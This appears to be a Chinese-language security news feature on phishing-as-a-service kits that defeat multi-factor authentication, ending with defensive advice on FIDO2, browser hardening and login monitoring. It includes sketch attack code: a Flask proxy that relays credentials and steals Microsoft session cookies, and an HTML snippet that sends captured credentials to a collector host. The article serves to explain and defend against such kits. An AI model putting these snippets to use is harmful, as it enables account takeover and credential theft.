一、一次“快递签收”点击,让他的Netflix账号成了黑客的跳板
2025年11月,杭州程序员小陈收到一封“DHL包裹待签收”邮件,页面设计与官网几乎一致。他输入了邮箱和密码——这个组合也用于他的Google账户。奇怪的是,页面提示“验证失败”,他以为是网络问题,便关闭了浏览器。
三天后,他发现自己的Google账户被用来向所有联系人发送“紧急求助”邮件;更糟的是,绑定该账户的FIDO2安全密钥竟也被远程“解绑”。事后分析显示,他访问的并非普通钓鱼页,而是一个由BlackForce钓鱼套件生成的中间人(MitB)攻击界面——在他输入一次性验证码(OTP)的瞬间,凭证已被实时转发至攻击者服务器。
这不是技术故障,而是一场精心策划的身份劫持。据SC Media 2025年12月15日报道,包括BlackForce、GhostFrame、InboxPrime AI及混合型“Salty-Tycoon”在内的新一代钓鱼套件正以“即服务”(PhaaS)模式在地下市场泛滥,其自动化程度、隐蔽性和绕过多因素认证(MFA)的能力,已远超传统认知。
安全机构警告:一场大规模凭证盗窃风暴正在酝酿。
二、从“手工钓鱼”到“AI军工厂”:钓鱼套件的工业化跃迁
过去,搭建钓鱼网站需要HTML/CSS基础、域名注册、托管配置,门槛较高。如今,这些新兴套件将整个流程“产品化”:
GhostFrame:仅需一个HTML文件,内嵌iframe和JavaScript,即可动态加载伪装页面并回传数据;
InboxPrime AI:利用大语言模型自动生成多语言钓鱼文案,甚至模仿目标公司客服语气;
BlackForce:集成浏览器中间人代理,实时中转用户与真实网站的交互,实现“透明钓鱼”;
Salty-Tycoon:融合多种技术模块,支持会话Cookie窃取、设备指纹伪造,增加溯源难度。
“这就像从‘土枪’升级到‘智能导弹’,”公共互联网反网络钓鱼工作组技术专家芦笛比喻道,“攻击者不再需要懂代码,只需在Telegram群组花50美元租用面板,选择目标品牌(如Netflix、Microsoft 365),系统自动生成高仿页面、分配短链接、收集凭证,并提供实时仪表盘。”
更令人担忧的是,这些套件每周更新,通过混淆、域名轮换、CDN代理等方式规避检测。Zscaler ThreatLabz报告显示,BlackForce在2025年Q4平均每天新增37个变种,其中83%能在首次出现后72小时内绕过主流EDR和邮件网关。
三、技术深剖:三大套件如何绕过MFA,直取数字身份
(1)BlackForce:中间人浏览器注入,让MFA形同虚设
传统观点认为,启用短信或TOTP(基于时间的一次性密码)即可防御钓鱼。但BlackForce彻底颠覆这一假设。
其核心在于实时代理(Real-time Proxy)机制:当用户访问钓鱼页时,BlackForce后台立即向真实目标网站(如login.microsoft.com)发起请求,将用户输入的账号密码同步提交,并将真实网站返回的MFA挑战页面“透传”给受害者。用户以为自己在与微软交互,实则所有流量经由攻击者中转。
# 简化版BlackForce代理逻辑示意(非真实代码)
import requests
from flask import Flask, request, Response
app = Flask(__name__)
@app.route('/login', methods=['POST'])
def phishing_login():
email = request.form['email']
password = request.form['password']
# 将凭证转发至真实Microsoft登录页
real_resp = requests.post(
'https://login.microsoftonline.com/.../sso',
data={'login': email, 'passwd': password}
)
# 若返回MFA页面,则原样返回给用户
if "proofup" in real_resp.url:
return Response(real_resp.content, headers=dict(real_resp.headers))
# 若登录成功,窃取会话Cookie并重定向
session_cookie = real_resp.cookies.get('ESTSAUTHPERSISTENT')
send_to_attacker(email, password, session_cookie)
return redirect("https://outlook.office.com")
在此模式下,即使用户使用Authenticator App生成的6位码,也会被实时捕获并用于完成认证。最终,攻击者不仅获得账号密码,还拿到有效的会话令牌,可直接接管账户,无需再次验证。
(2)GhostFrame:单文件即部署,隐身于合法站点
GhostFrame的危险在于其极简架构。整个钓鱼载荷仅是一个HTML文件,通常通过以下方式传播:
挂马于被黑的小型企业官网;
伪装成PDF预览页嵌入邮件;
通过社交媒体短链接诱导点击。
其核心代码片段如下:
<!DOCTYPE html>
<html>
<head>
<title>Verify Your Account</title>
</head>
<body>
<iframe id="fakeLogin" style="width:100%; height:800px; border:none;"></iframe>
<script>
const target = "https://login.microsoftonline.com"; // 真实登录页
const iframe = document.getElementById('fakeLogin');
iframe.src = target;
// 监听表单提交
window.addEventListener('message', (e) => {
if (e.data.type === 'CREDENTIALS') {
fetch('https://collector[.]xyz/log', {
method: 'POST',
body: JSON.stringify(e.data)
});
// 继续正常流程,避免用户察觉
}
});
// 注入脚本到iframe(需同源或CSP绕过)
// 实际中常配合XSS或CSP misconfig实现
</script>
</body>
</html>
虽然受限于同源策略,但若目标站点存在CSP配置错误或XSS漏洞,GhostFrame可借机注入恶意JS,窃取输入内容。Barracuda研究人员发现,已有攻击者将GhostFrame嵌入被黑的WordPress插件,实现“合法域名下的非法行为”。
(3)InboxPrime AI:会话劫持+多语言生成,精准打击全球目标
InboxPrime AI的最大突破在于会话Cookie窃取。一旦用户在钓鱼页登录,套件不仅记录凭证,还会提取浏览器中的sessionid、auth_token等Cookie,并立即用于访问真实服务。
这意味着:即使账户启用了FIDO2安全密钥,只要用户曾在其他设备保持登录状态,攻击者仍可接管会话。
此外,其AI引擎可根据目标IP自动切换语言和品牌模板。例如,对德国用户生成德语版Deutsche Post钓鱼页,对日本用户生成乐天风格页面,大幅提升欺骗成功率。
四、国际案例警示:从欧洲银行到北美高校,无一幸免
2025年10月,Varonis披露的“Spiderman钓鱼套件”专门针对欧洲银行客户,其技术特征与BlackForce高度相似。受害者在输入银行卡号和OTP后,资金被实时转出,而银行因无法区分“真实用户”与“中间人代理”,难以拦截。
同期,美国一所常春藤盟校遭遇InboxPrime AI攻击。黑客伪造“教务系统升级通知”,诱导师生登录。超过300人失陷,部分研究邮箱被用于发送勒索邮件,甚至尝试访问学校AWS科研集群。
对中国企业而言,风险同样迫近。某国内SaaS服务商安全团队透露,2025年Q4监测到大量针对其客户的GhostFrame变种,伪装成“发票查看”“合同签署”页面。“最麻烦的是,这些页面托管在被黑的政府合作网站子域名下,信誉极高,传统网关根本不会拦截。”
五、防御破局:从“凭证中心”转向“设备+行为”信任模型
面对能绕过MFA的钓鱼套件,芦笛直言:“是时候重新思考‘身份验证’的本质了。”
他提出三大技术方向:
1. 淘汰短信/TOTP,全面拥抱FIDO2无密码认证
FIDO2(如YubiKey、Windows Hello)的核心优势在于绑定物理设备且不传输密钥。即使用户访问钓鱼页,由于私钥永不离开本地设备,攻击者无法窃取。
// FIDO2注册示例(WebAuthn API)
navigator.credentials.create({
publicKey: {
challenge: Uint8Array.from([/* 随机挑战 */]),
rp: { name: "Your Company" },
user: { id: new TextEncoder().encode("user123"), name: "user@example.com" },
pubKeyCredParams: [{ type: "public-key", alg: -7 }]
}
}).then(credential => {
// 公钥发送至服务器存储,私钥保留在设备
});
登录时,服务器发送挑战,设备用私钥签名后返回,全程无密码传输。
2. 强化浏览器层防护
启用严格CSP策略,禁止内联脚本和未知来源iframe;
部署扩展级反钓鱼工具,如Netcraft Extension可实时比对页面与已知钓鱼模板;
在企业环境中推行隔离浏览器(Isolated Browser),将高风险操作限制在沙箱中。
3. 构建凭证泄露感知能力
组织应主动监控暗网和Telegram频道,检测自身域名是否被用于钓鱼。同时,通过日志分析识别异常登录行为:
-- 示例:检测同一账户短时间内多地登录
SELECT user_id, COUNT(DISTINCT geo_country) as country_count
FROM auth_logs
WHERE event_time > NOW() - INTERVAL 1 HOUR
GROUP BY user_id
HAVING country_count > 2;
一旦发现异常,立即触发会话吊销和二次验证。
六、生态协同:打击PhaaS需全链条治理
地下市场的PhaaS模式之所以猖獗,源于其“低风险、高回报”特性。一套GhostFrame月租仅30美元,却可窃取数百个高价值账户。
芦笛呼吁:
云服务商加强新账号风控,对高频创建登录页的行为实施限制;
域名注册商落实快速响应机制,对仿冒品牌域名实现小时级封禁;
企业间共享钓鱼指标(IOCs),如恶意HTML哈希、C2域名、User-Agent特征等。
在中国,工作组正推动建立钓鱼套件特征库,支持企业自动化比对本地流量与已知威胁模式。
七、结语:当钓鱼变成“服务”,安全必须成为“本能”
从手工编写HTML到AI生成多语言页面,从窃取密码到劫持会话,钓鱼攻击的进化速度令人咋舌。而BlackForce、GhostFrame们的出现,标志着网络犯罪已进入“工业化协作”时代。
但防御并非无路可走。正如芦笛所言:“真正的安全,不在于堵住每一个漏洞,而在于让攻击者的成本远高于收益。”
采用FIDO2、强化浏览器策略、建立行为基线——这些措施或许不能100%阻止攻击,但足以让大多数自动化套件“无利可图”。
在这个数字身份即资产的时代,保护凭证,就是保护我们在线世界的“身份证”。而这场攻防战的胜负,不在代码深处,而在每一次点击之前的那0.1秒犹豫里。
编辑:芦笛(公共互联网反网络钓鱼工作组)